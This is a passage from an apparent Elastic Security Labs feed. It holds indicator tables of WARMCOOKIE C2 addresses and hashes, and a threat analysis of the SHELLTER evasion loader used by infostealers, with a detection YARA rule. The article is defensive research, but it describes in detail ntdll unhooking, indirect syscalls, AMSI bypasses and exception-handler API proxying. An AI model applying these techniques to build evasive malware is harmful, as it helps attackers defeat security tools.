<td align="left">192.36.57.164</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">83.172.136.121</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">45.153.126.129</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">170.130.55.107</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">89.46.232.247</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">89.46.232.52</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.195.64.68</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">107.189.18.183</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">192.36.57.50</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">62.60.238.115</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">178.209.52.166</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.49.69.102</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.49.68.139</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">149.248.7.220</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">194.71.107.41</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">149.248.58.85</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">91.222.173.219</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">151.236.26.198</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">91.222.173.91</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.161.251.26</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">194.87.45.138</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">38.180.91.117</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">c7bb97341d2f0b2a8cd327e688acb65eaefc1e01c61faaeba2bc1e4e5f0e6f6e</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">9d143e0be6e08534bb84f6c478b95be26867bef2985b1fe55f45a378fc3ccf2b</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">f4d2c9470b322af29b9188a3a590cbe85bacb9cc8fcd7c2e94d82271ded3f659</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">e0de5a2549749aca818b94472e827e697dac5796f45edd85bc0ff6ef298c5555</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">169c30e06f12e33c12dc92b909b7b69ce77bcbfc2aca91c5c096dc0f1938fe76</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation">https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation</a></li>
<li><a href="https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source">https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/warmcookie.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Taking SHELLTER: a commercial evasion framework abused in-the-wild ]]></title>
            <link>https://www.elastic.co/pt/security-labs/taking-shellter</link>
            <guid>taking-shellter</guid>
            <pubDate>Thu, 03 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs detected the recent emergence of infostealers using an illicitly acquired version of the commercial evasion framework, SHELLTER, to deploy post-exploitation payloads.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs is observing multiple campaigns that appear to be leveraging the commercial AV/EDR evasion framework, SHELLTER, to load malware. SHELLTER is marketed to the offensive security industry for sanctioned security evaluations, enabling red team operators to more effectively deploy their C2 frameworks against contemporary anti-malware solutions.</p>
<h3>Key takeaways</h3>
<ul>
<li>Commercial evasion framework SHELLTER acquired by threat groups</li>
<li>SHELLTER has been used in multiple infostealer campaigns since April 2025, as recorded in license metadata</li>
<li>SHELLTER employs unique capabilities to evade analysis and detection</li>
<li>Elastic Security Labs releases dynamic unpacker for SHELLTER-protected binaries</li>
</ul>
<pre><code>Throughout this document we will refer to different terms with “shellter” in them. We will try to 
maintain the following style to aid readability:
  *  “Shellter Project” - the organization that develops and sells the Shellter evasion framework
  *  “Shellter Pro Plus/Elite” - the commercial names for the tools sold by the Shellter Project
  *  “SHELLTER” - the loader we have observed in malicious usage and are detailing in this report
  *  “SHELLTER-protected” - a descriptor of final payloads that the SHELLTER loader delivers
</code></pre>
<h2>SHELLTER Overview</h2>
<p>SHELLTER is a <a href="https://www.shellterproject.com/homepage/">commercial evasion framework</a> that has been assisting red teams for over a decade. It helps offensive security service providers bypass anti-virus and, more recently, EDR tools. This allows red teams to utilize their C2 frameworks without the constant development typically needed as security vendors write detection signatures for them.</p>
<pre><code>While the Shellter Project does offer a free version of the software, it has a limited feature-set, 
only 32-bit .exe support, and is generally better understood and detected by anti-malware 
products. The free version is not described in this article.
</code></pre>
<p>SHELLTER, like many other offensive security tools (OSTs), is a dual-use product. Malicious actors, once they gain access to it, can use SHELLTER to extend the lifespan of their tools. Reputable offensive security vendors, such as the Shellter Project, implement <a href="https://www.shellterproject.com/shellter-elite-acquire-upgrade-eligibility-terms/">safeguards</a> to mitigate the risk of their products being used maliciously. These measures include geographic sales limits, organizational due diligence, and End User License Agreements (EULAs). Despite these efforts, highly motivated malicious actors remain a challenge.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image39.gif" alt="" /></p>
<p>In mid-June, our research identified multiple financially motivated infostealer campaigns that have been using SHELLTER to package payloads beginning late April 2025. Evidence suggests that this is the Shellter Elite version 11.0, which was <a href="https://www.shellterproject.com/shellter-elite-v11-0-released/">released</a> on April 16, 2025.</p>
<p>SHELLTER is a complex project offering a wide array of configurable settings tailored for specific operating environments, payload delivery mechanisms, and encryption paradigms. This report focuses exclusively on features observed in identified malicious campaigns. While some features appear to be common, a comprehensive review of all available features is beyond the scope of this document.</p>
<h2>SHELLTER Loader - Technical Details</h2>
<p>The following sections describe capabilities that resemble some of the Shellter Project’s published <a href="https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf">Elite Exclusive Features</a>. Our assessment indicates that we are observing Shellter Elite. This conclusion is based on a review of the developer's public documentation, observation of various samples from different builds with a high degree of code similarity, and the prevalence of evasion features scarcely observed.</p>
<h3>Polymorphic Junk Code</h3>
<p>SHELLTER-protected samples commonly employ self-modifying shellcode with polymorphic obfuscation to embed themselves within legitimate programs. This combination of legitimate instructions and polymorphic code helps these files evade static detection and signatures, allowing them to remain undetected.</p>
<p>By setting a breakpoint on <code>VirtualAlloc</code> in a SHELLTER-protected <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys">RHADAMANTHYS</a> <a href="https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details">sample</a>, we can see the call stack of this malware sample.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image11.png" alt="Call stack of backdoored file" /></p>
<p>This type of polymorphic code confuses static disassemblers and impairs emulation efforts. These instructions show up during the unpacking stage, calling one of these pairs of Windows API functions to allocate memory for a new shellcode stub:</p>
<ul>
<li><code>GetModuleHandleA</code> / <code>GetProcAddress</code></li>
<li><code>CreateFileMappingW</code> / <code>MapViewOfFile</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image44.png" alt="Junk instructions using legitimate import" /></p>
<p>The SHELLTER functionality is contained within a new, substantial function. It’s reached after additional unpacking and junk instructions in the shellcode stub. IDA Pro or Binary Ninja can successfully decompile the code at this stage.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image7.png" alt="Final unpacking instructions leading to main function" /></p>
<h3>Unhooking System Modules via File-mappings</h3>
<p>To bypass API hooking techniques from AV/EDR vendors, SHELLTER maps a fresh copy of <code>ntdll.dll</code> via <code>NtCreateSection</code> and <code>NtMapViewOfSection</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image48.png" alt="Manually mapped ntdll.dll in orange" /></p>
<p>There is also a second option for unhooking by loading a clean <code>ntll.dll</code> from the <code>KnownDLLs</code> directory via <code>NtOpenSection</code> and <code>NtMapViewOfSection</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image14.png" alt="ntdll.dll mapped via KnownDlls technique" /></p>
<h3>Payload Encryption and Compression</h3>
<p>SHELLTER encrypts its final, user-defined payloads using AES-128 CBC mode. This encryption can occur in one of two ways:</p>
<ul>
<li><strong>Embedded key/IV:</strong> A randomly generated key/IV pair is embedded directly within the SHELLTER payload.</li>
<li><strong>Server-fetched key/IV:</strong> The key/IV pair is fetched from an adversary-controlled server.</li>
</ul>
<p>For samples that utilized the embedded option, we successfully recovered the underlying payload.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image47.png" alt="AES CBC main decryption loop" /></p>
<p>The encrypted blobs are located at the end of each SHELLTER payload.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image20.png" alt="Encrypted payload" /></p>
<p>The AES key and IV can be found as constants being loaded into stack variables at very early stages of the payload as part of its initialization routine.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image29.png" alt="Embedded AES Key and IV constants" /></p>
<p>In Shellter Elite v11.0, by default, payloads are compressed using the <code>LZNT1</code> algorithm before being encrypted.</p>
<h3>DLL Preloading &amp; Call Stack Evasion</h3>
<p>The “Force Preload System Modules” feature enables preloading of essential Windows subsystem DLLs, such as <code>advapi32.dll</code>, <code>wininet.dll</code>, and <code>crypt32.dll</code>, to support the underlying payload’s operations. The three configurable options include:</p>
<ul>
<li><code>--Force-PreloadModules-Basic</code> (16 general-purpose modules)</li>
<li><code>--Force-PreloadModules-Networking</code> (5 network-specific modules)</li>
<li><code>--Force-PreloadModules-Custom</code> (up to 16 user-defined modules)</li>
</ul>
<p>These modules are being loaded through either <code>LoadLibraryExW</code> or <code>LdrLoadDll</code>. Details on API proxying through custom Vectored Exception Handlers (VEH) will be discussed in a subsequent section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image45.png" alt="APIs for preloading DLLs" /></p>
<p>Below is an example of a list of preloaded modules in a SHELLTER-protected payload that matches the <code>--Force-PreloadModules-Basic</code> option, found in a <a href="https://www.virustotal.com/gui/file/70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1/relations">sample</a> that deploys a simple C++ loader client abusing BITS (Background Intelligent Transfer Service) for C2 – an uncommon approach <a href="https://www.elastic.co/pt/security-labs/bits-and-bytes-analyzing-bitsloth">favored by some threats</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image30.png" alt="DLL list for flag --Force-PreloadModules-Basic" /></p>
<p>The following example is a list that matches the <code>--Force-PreloadModules-Networking</code> option found in a sample loading <a href="https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details">LUMMA</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image27.png" alt="DLL list for flag --Force-PreloadModules-Networking" /></p>
<p>This feature (<a href="https://www.shellterproject.com/shellter-elite-pro-plus-updates/">released</a> in Shellter Pro Plus v10.x) leverages the call stack evasion capability to conceal the source of the <code>LoadLibraryExW</code> call while loading networking and cryptography-related libraries.</p>
<p>Below is an example of a <code>procmon</code> trace when loading <code>wininet.dll</code>, showing a truncated call stack:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image49.png" alt="Truncated call stack when loading wininet.dll" /></p>
<p>In the same <a href="https://www.virustotal.com/gui/file/70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1">sample</a> that has the <code>--Force-PreloadModules-Basic</code> flag enabled, we observed that the dependencies of the preloaded modules were also subject to call stack corruption. For instance, <code>urlmon.dll</code> also conceals the source of the <code>LoadLibraryExW</code> call for its dependencies <code>iertutil.dll</code>, <code>srvcli.dll</code>, and <code>netutils.dll</code>.</p>
<h3>Unlinking of AV/EDR Modules</h3>
<p>SHELLTER includes functionality to unlink decoy DLL modules that are placed inside the Process Environment Block (<a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">PEB</a>). These decoy modules are used by some security vendors as canaries to monitor when shellcode attempts to enumerate the PEB LDR list manually. <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data">PEB LDR</a> is a structure in Windows that contains information about a process's loaded modules.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image43.png" alt="Targeted unlinking of the decoy module" /></p>
<p>We only observed one unique module name based on its hash (different per sample), which ends up resolving to <code>kern3l32.dll</code> [sic].</p>
<h3>API Hashing Obfuscation</h3>
<p>Observed samples employ time-based seeding to obfuscate API addresses. The malware first reads the <code>SystemTime</code> value from the <code>KUSER_SHARED_DATA</code> structure at address <code>0x7FFE0014</code> to derive a dynamic XOR key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image37.png" alt="XOR key derived from KUSER_SHARED_DATA" /></p>
<p>It then uses a seeded-ROR13 hashing algorithm on API names to resolve the function addresses at runtime.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image15.png" alt="seeded-ROR13 algorithm" /></p>
<p>Once resolved, optionally, these pointers are obfuscated by XORing them with the time-based key and applying a bitwise rotation before being stored in a lookup table. This tactic is applied throughout the binary to conceal a variety of data such as other function pointers, syscall stubs, and handles of loaded modules.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image33.png" alt="Function pointer obfuscation" /></p>
<h3>License Check and Self-disarm</h3>
<p>For each SHELLTER payload, there are three embedded <code>FILETIME</code> structures. In an example <a href="https://www.virustotal.com/gui/file/7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10">sample</a>, these were found to be:</p>
<ul>
<li>License expiry datetime (2026-04-17 19:17:24.055000)</li>
<li>Self-disarm datetime (2026-05-21 19:44:43.724952)</li>
<li>Infection start datetime (2025-05-21 19:44:43.724952)</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image28.png" alt="Hardcoded FILETIMEs" /></p>
<p>The license expiry check compares the current time to the license expiry datetime, setting the <code>license_valid</code> flag in the context structure. There are 28 unique call sites (likely 28 licensed features) to the license validity check, where the <code>license_valid</code> flag determines whether the main code logic is skipped, confirming that the license expiry datetime acts as a kill switch.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image34.png" alt="Expired SHELLTER license causes execution to be cut short" /></p>
<p>By default, the self-disarm date is set exactly one year after the initial infection start date. When the self-disarm flag is triggered, several cleanup routines are executed. One such routine involves unmapping the manually loaded <code>ntdll</code> module (if present) and clearing the NTAPI lookup table, which references either the manually mapped <code>ntdll</code> module or the one loaded during process initialization.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image4.png" alt="Example cleanup routine when self-disarm is triggered" /></p>
<p>While the Self-disarm and Infection start datetimes are different from sample to sample, we note that the License expiry datetime (2026-04-17 19:17:24.055000) remains constant.</p>
<p>It is possible that this time is uniquely generated for each license issued by The Shellter Project. If so, it would support the hypothesis that only a single copy of Shellter Elite has been acquired for malicious use. This value does not appear in static analysis, but shows up in the unpacked first stage.</p>
<table>
<thead>
<tr>
<th align="left">SHA256</th>
<th align="left">License Expiration</th>
<th align="left">Self-disarm</th>
<th align="left">Infection Start</th>
<th align="left">Family</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-27 19:57:42.971694</td>
<td align="left">2025-05-27 19:57:42.971694</td>
<td align="left">RHADAMANTHYS</td>
</tr>
<tr>
<td align="left">7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-21 19:44:43.724953</td>
<td align="left">2025-05-21 19:44:43.724953</td>
<td align="left">UNKNOWN</td>
</tr>
<tr>
<td align="left">b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-24 11:42:52.905726</td>
<td align="left">2025-05-24 11:42:52.905726</td>
<td align="left">ARECHCLIENT2</td>
</tr>
<tr>
<td align="left">da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-04-27 22:40:00.954060</td>
<td align="left">2025-04-27 22:40:00.954060</td>
<td align="left">LUMMA</td>
</tr>
<tr>
<td align="left">70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-16 16:12:09.711057</td>
<td align="left">2025-05-16 16:12:09.711057</td>
<td align="left">UNKNOWN</td>
</tr>
</tbody>
</table>
<p>Below is a YARA rule that can be used to identify this hardcoded license expiry value in the illicit SHELLTER samples we’ve examined:</p>
<pre><code class="language-yara">rule SHELLTER_ILLICIT_LICENSE {  
    meta:  
        author = &quot;Elastic Security&quot;  
        last_modified = &quot;2025-07-01&quot;  
        os = &quot;Windows&quot;  
        family = &quot;SHELLTER&quot;  
        threat_name = &quot;SHELLTER_ILLICIT_LICENSE&quot;

    strings:

        // 2026-04-17 19:17:24.055000  
        $license_server = { c7 84 24 70 07 00 00 70 5e 2c d2 c7 84 24 74 07 00 00 9e ce dc 01}

    condition:  
        any of them  
}  
</code></pre>
<h3>Memory Scan Evasion</h3>
<p>SHELLTER-protected samples implemented various techniques, including runtime evasions, to avoid detection. These types of techniques include:</p>
<ul>
<li>Decoding and re-encoding instructions at runtime</li>
<li>Removal of execute permissions on inactive memory pages</li>
<li>Reducing footprint, impacting in-memory signatures using YARA</li>
<li>Using Windows internals structures, such as the <code>PEB</code>, as temporary data holding spots</li>
</ul>
<p>SHELLTER generates a trampoline-style stub based on the operating system version. There is a 4 KB page that holds this stub, where the memory permissions fluctuate using <code>NtQueryVirtualMemory</code> and <code>NtProtectVirtualMemory</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image18.png" alt="Initial memory page showing memory not committed" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image13.png" alt="Memory page moves to PAGE_READWRITE" /></p>
<p>Once the page is active, the encoded bytes can be observed at this address, <code>0x7FF5FFCE0000</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image21.png" alt="Encoded trampoline stub" /></p>
<p>SHELLTER decodes this page when active through an XOR loop using the derived <code>SystemTime</code> key from the <code>KUSER_SHARED_DATA</code> structure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image12.png" alt="Encoding XOR loop for encoding/decoding trampoline stub" /></p>
<p>Below is this same memory page (<code>0x7FF5FFCE0000</code>), showing the decoded trampoline stub for the syscall (<code>ntdll_NtOpenFile</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image36.png" alt="Decoded trampoline stub for NtOpenFile" /></p>
<p>When the functionality is needed, the memory page permissions are set with Read/Execute (RX) permissions. After execution, the pages are set to inactive.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image42.png" alt="Memory page moves to PAGE_EXECUTE_READ" /></p>
<p>The continuous protection of key functionality during runtime complicates both analysis and detection efforts. This level of protection is uncommon in general malware samples.</p>
<h3>Indirect Syscalls / Call stack Corruption</h3>
<p>As shown in the previous section, SHELLTER bypasses user-mode hooks by using trampoline-based indirect syscalls. Instead of invoking <code>syscall</code> directly, it prepares the stack with the address of a clean <code>syscall</code> instruction from <code>ntdll.dll</code>. A <code>ret</code> instruction then pops this address into the <code>RIP</code> register, diverting execution to the <code>syscall</code> instruction stealthily.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image1.png" alt="Trampoline code" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image31.png" alt="Syscall instruction from clean ntdll.dll" /></p>
<p>Below is an example of Elastic Defend <code>VirtualProtect</code> events, showing the combination of the two evasions (indirect syscall and call stack truncation). This technique can bypass or disrupt various security detection mechanisms.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image16.png" alt="Elastic Defend eventing for indirect calls and truncated call stacks" /></p>
<h3>Advanced VM/Sandbox Detection</h3>
<p>SHELLTER’s documentation makes a reference to a hypervisor detection feature. A similar capability is observed in our malicious samples after a call to <code>ZwQuerySystemInformationEx</code> using <code>CPUID</code> and <code>_bittest</code> instructions. This functionality returns various CPU information along with the Hyper-Threading Technology (HTT) flag.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image17.png" alt="Hypervisor detection" /></p>
<h3>Debugger Detection (UM/KM)</h3>
<p>SHELLTER employs user-mode and kernel-mode debugging detection using Process Heap flags and checking the <code>KdDebuggerEnabled</code> flag via the <code>_KUSER_SHARED_DATA</code> structure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image23.png" alt="Debugging detections" /></p>
<h3>AMSI Bypass</h3>
<p>There are two methods of AMSI bypassing. The first method involves in-memory patching of AMSI functions. This technique searches the functions for specific byte patterns and modifies them to alter the function’s logic. For example, it overwrites a 4-byte string &quot;AMSI&quot; with null bytes and patches conditional jumps to its opposite.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image9.png" alt="Patch the “AMSI” string in the AMSI functions to null bytes" /></p>
<p>The second method is slightly more sophisticated. First, it optionally attempts to sabotage the Component Object Model (COM) interface lookup by finding the <code>CLSID_Antimalware</code> GUID constant <code>{fdb00e52-a214-4aa1-8fba-4357bb0072ec}</code> within <code>amsi.dll</code>, locating a pointer to it in a writable data section, and corrupting that pointer to make it point 8 bytes before the actual GUID.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image2.png" alt="Patch reference point to CLSID_Antimalware GUID constant" /></p>
<p>The targeted pointer is the CLSID pointer in the AMSI module's Active Template Library (ATL) object map entry, a structure used by the <code>DllGetClassObject</code> function to find and create registered COM classes. By corrupting the pointer in this map, the lookup for the antimalware provider will fail, preventing it from being created, thus causing <code>AmsiInitialize</code> to fail with a <code>CLASS_E_CLASSNOTAVAILABLE</code> exception.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image32.png" alt="AmsiAntimalware ATL Object Map entry in amsi.dll" /></p>
<p>It then calls <code>AmsiInitialize</code> - If the previous patch did not take place and the API call is successful, it performs a vtable patch as a fallback mechanism. The <code>HAMSICONTEXT</code> obtained from <code>AmsiInitialize</code> contains a pointer to an <code>IAntimalware</code> COM object, which in turn contains a pointer to its virtual function table. The bypass targets the function <code>IAntimalware::Scan</code> in this table. To neutralize it, the code searches the memory page containing the <code>IAntimalware::Scan</code> function for a <code>ret</code> instruction.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image8.png" alt="Find ret gadget in IAntimalware::Scan function" /></p>
<p>After finding a suitable gadget, it overwrites the <code>Scan</code> function pointer with the address of the <code>ret</code> gadget. The result is that any subsequent call to <code>AmsiScanBuffer</code> or <code>AmsiScanString</code> will invoke the patched vtable, jump directly to a <code>ret</code> instruction, and immediately return.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image38.png" alt="Overwrite IAntimalware::Scan function pointer with ret gadget" /></p>
<h3>Vectored Exception Handler API Proxy</h3>
<p>There is a sophisticated API proxying mechanism which is achieved by redirecting calls to resolved APIs and crafted syscall stubs through a custom exception handler, which acts as a control-flow proxy. It can be broken down into two phases: setup and execution.</p>
<p>Phase 1 involves allocating two special memory pages that will serve as “triggers” for the exception handler. Protection for these pages are set to <code>PAGE_READONLY</code>, and attempting to execute code there will cause a <code>STATUS_ACCESS_VIOLATION</code> exception, which is intended. The addresses of these trigger pages are stored in the context structure:</p>
<ul>
<li><code>api_call_trigger_page</code> - The page that will be called to initiate the proxy.</li>
<li><code>api_return_trigger_page</code> - The page that the actual API will return to.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image40.png" alt="Memory Allocation for trigger pages" /></p>
<p>An exception handler template from the binary is copied into an allocated region and registered as the primary handler for the process using <code>RtlAddVectoredExceptionHandler</code>. A hardcoded magic placeholder value (<code>0xe1e2e3e4e5e6e7e8</code>) in the handler is then overwritten with a pointer to the context structure itself.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image22.png" alt="In-memory patch of the magic value in the exception handler" /></p>
<p>Looking at an example callsite, if the VEH proxy is to be used, the address of <code>GetCurrentDirectoryA</code> will be stored into <code>ctx_struct-&gt;target_API_function</code>, and the API function pointer is overwritten with the address of the call trigger page. This trigger page is then called, triggering a <code>STATUS_ACCESS_VIOLATION</code> exception.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image24.png" alt="Example callsite with the option to utilize VEH API proxying" /></p>
<p>Control flow is redirected to the exception handler. The faulting address of the exception context is checked, and if it matches the call trigger page, it knows it is an incoming API proxy call and performs the following:</p>
<ul>
<li>Save the original return address</li>
<li>Overwrite the return address on the stack with the address of the return trigger page</li>
<li>Sets the <code>RIP</code> register to the actual API address saved previously in <code>ctx_struct-&gt;target_API_function</code>.</li>
</ul>
<p>The <code>GetCurrentDirectoryA</code> call is then executed. When it finishes, it jumps to the return trigger page, causing a second <code>STATUS_ACCESS_VIOLATION</code> exception and redirecting control flow back to the exception handler. The faulting address is checked to see if it matches the return trigger page; if so, <code>RIP</code> is set to the original return address and the control flow returns to the original call site.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image35.png" alt="Exception handler template" /></p>
<h2>Campaigns</h2>
<p>In June, Elastic Security Labs identified multiple campaigns deploying various information stealers protected by Shellter Elite as recorded by license information present in each binary. By taking advantage of the above tooling, we observed threat actors across different campaigns quickly integrate this highly evasive loader into their own workflows.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image6.png" alt="Activity Timeline" /></p>
<h3>LUMMA</h3>
<p>LUMMA <a href="https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details">infostealer</a> was being distributed with SHELLTER starting in late April, as evidenced by metadata within binaries. While the initial infection vector is not clear, we were able to <a href="https://app.any.run/tasks/eab157aa-5609-4b33-a571-808246d1cf92">verify</a> (using ANY.RUN) that related files were being hosted on the <a href="https://www.mediafire.com/">MediaFire</a> file hosting platform.</p>
